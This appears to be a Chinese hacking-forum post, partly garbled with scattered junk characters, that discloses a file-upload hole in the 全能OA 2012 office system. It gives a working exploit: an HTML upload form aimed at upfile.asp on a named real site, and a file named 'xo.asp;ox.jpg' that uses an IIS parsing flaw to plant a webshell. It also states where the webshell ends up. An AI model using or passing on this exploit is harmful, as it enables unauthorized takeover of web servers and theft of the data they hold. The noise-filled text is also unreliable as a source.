全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
7 h) {, Y3 L% `8 m​
系统介绍：
! m6 ?0 d& I8 _0 T8 y
  N% e# J! ], p2 C: T全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
* g5 p" `- ?2 J: i, u# M! a
* N& N$ I" c. F7 g/ q7 }主要功能：
公司通告
工作计划
通讯助理
客户资源
我的公文
- E! J2 f" p+ N+ a  Q& T5 s/ ?公文传阅
" H/ G& f/ l& u. L1 @5 Z+ s公共资源
资源预约
今日考勤
个人计划
' ?( ^6 R; |& q& ]个人通讯录
5 o5 s+ S. u5 P" F4 u个人基本档案
7 \" B& z1 w# m" j未读邮件
发邮件
收件夹
! l/ D- R4 V# J0 u7 o- s8 n- C- m1 `寄件夹
网络硬盘
网络会议
- \# w) a8 p2 ]# k) u' [9 _网络调查
0 f5 [, y% p4 N" k' Z4 w# f2 y交流论坛

  R$ [: A; m: n; T7 i有兴趣测试的朋友可以下源码看看
+ s6 U6 b  o6 S" o8 ^% s: X; A* J
( o5 @: Z/ E( d+ c% Q8 |源码下载：

( l) E- \% m- h9 L: r$ D! @: X* dhttp://www.mycodes.net/30/4750.htm

# i+ Q, y/ t7 F8 w! i8 y9 ~漏洞介绍：
7 U0 i' T6 ~4 ~/ A1 Y
由upfile.asp上传文件漏洞引起
$ n; p4 v3 l' A8 H; i. I
测试方法：

% h/ T2 @, M+ O2 H; O6 F: e使用名小子上传http://www.itlynn.com/upfile.asp即可
0 f" h- \6 M( A( O/ A3 F
" ?9 Q/ k2 G5 |6 E  A  }如果upfile.asp文件被删除不存在。

8 ?# q. v" y: T1 }& S' V# @  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
3 g& ~: ]4 @; g. Q/ w* x9 ?0 P
如果存在那么将如下代码保存为upfile.html。
+ m4 ~9 z# {0 }1 V
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
9 F  t3 G& v2 h
5 G8 l2 z  w' K% B$ `# ]9 N
; S1 X7 h" T, }/ h- P: a2 ^# n
01 <table border='0' align="center" cellpadding="5">
# Y2 N1 B6 ^. {# u  F' M+ N) O! E8 B
) u4 |" K2 o7 c: ?6 g  {% m02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
  a5 a" @! Q5 X) M' s, q
; ?- G9 Z) H2 e6 W03 <tr>
% N6 \6 B7 p& _# b+ _# n8 M
04             <td>报错：</td>

! R) `" S9 I; H05             <td><input type='radio' name='errnumber' value='0'>
; N0 ?" q9 t1 k9 a8 ~
4 E* V& u  T0 I4 i06               自动更名

07               <input type='radio' name='errnumber' value='1' checked>

08               报错方式
) F% X. O! T1 b
09               <input type='radio' name='errnumber' value='2'>
8 N6 g$ o% u9 g" P6 K( D
10               直接覆盖</td>
- Q% O8 Q* g( l, r# j: |) |
% n; B7 M  D8 U& v$ q; V3 G11           </tr>

12           <tr>
5 h/ l1 t# y% I& W! G0 F! x
13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>
0 C; I: P' z1 X2 R/ t/ e8 D
9 q! A9 Q3 v2 }5 Y) U15           </tr>
- \7 S9 D3 g) V8 {( u) e6 @$ e$ k
: l8 D, n( N  ?1 V16           <tr>

1 ~5 ?8 E/ d% n7 n17             <td>文件：</td>
% i, t8 _4 j& _- a
" C; e+ R! C9 b/ e8 C$ P% d1 r. s18             <td><input type="file"name="fruit"size="30"></td>
; t5 s& x9 N8 b. T2 d! S2 k! O( T+ B
19           </tr>

20           <tr>
' T+ A6 l; P4 P1 O
21             <td valign='top'>简介：</td>
) y7 v& E" G) Y8 C4 T; h
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

5 O) B: y+ f2 v" ^7 |& n23           </tr>

' E: _0 n. l+ {5 [, T, k24   
8 Z3 [' B  M3 x6 `1 u. Q- O
/ A9 O; @$ p+ s6 g& X2 c25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
, U3 n" z1 q9 {1 W1 \( L
26           </tr>

27         </form>

0 d. @# ?+ S+ R3 E  w1 `7 p- L1 s2 \然后打开上传一个文件名为xo.asp;ox.jpg的文件。


  ]$ @* o6 n$ O2 i
上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
& x2 \$ h* `* w8 h* j  M( h
# K- i% Z/ {* U6 Q% D; a此漏洞需要配合解析漏洞利用。

* U: M7 M9 R) Q: N1 B) W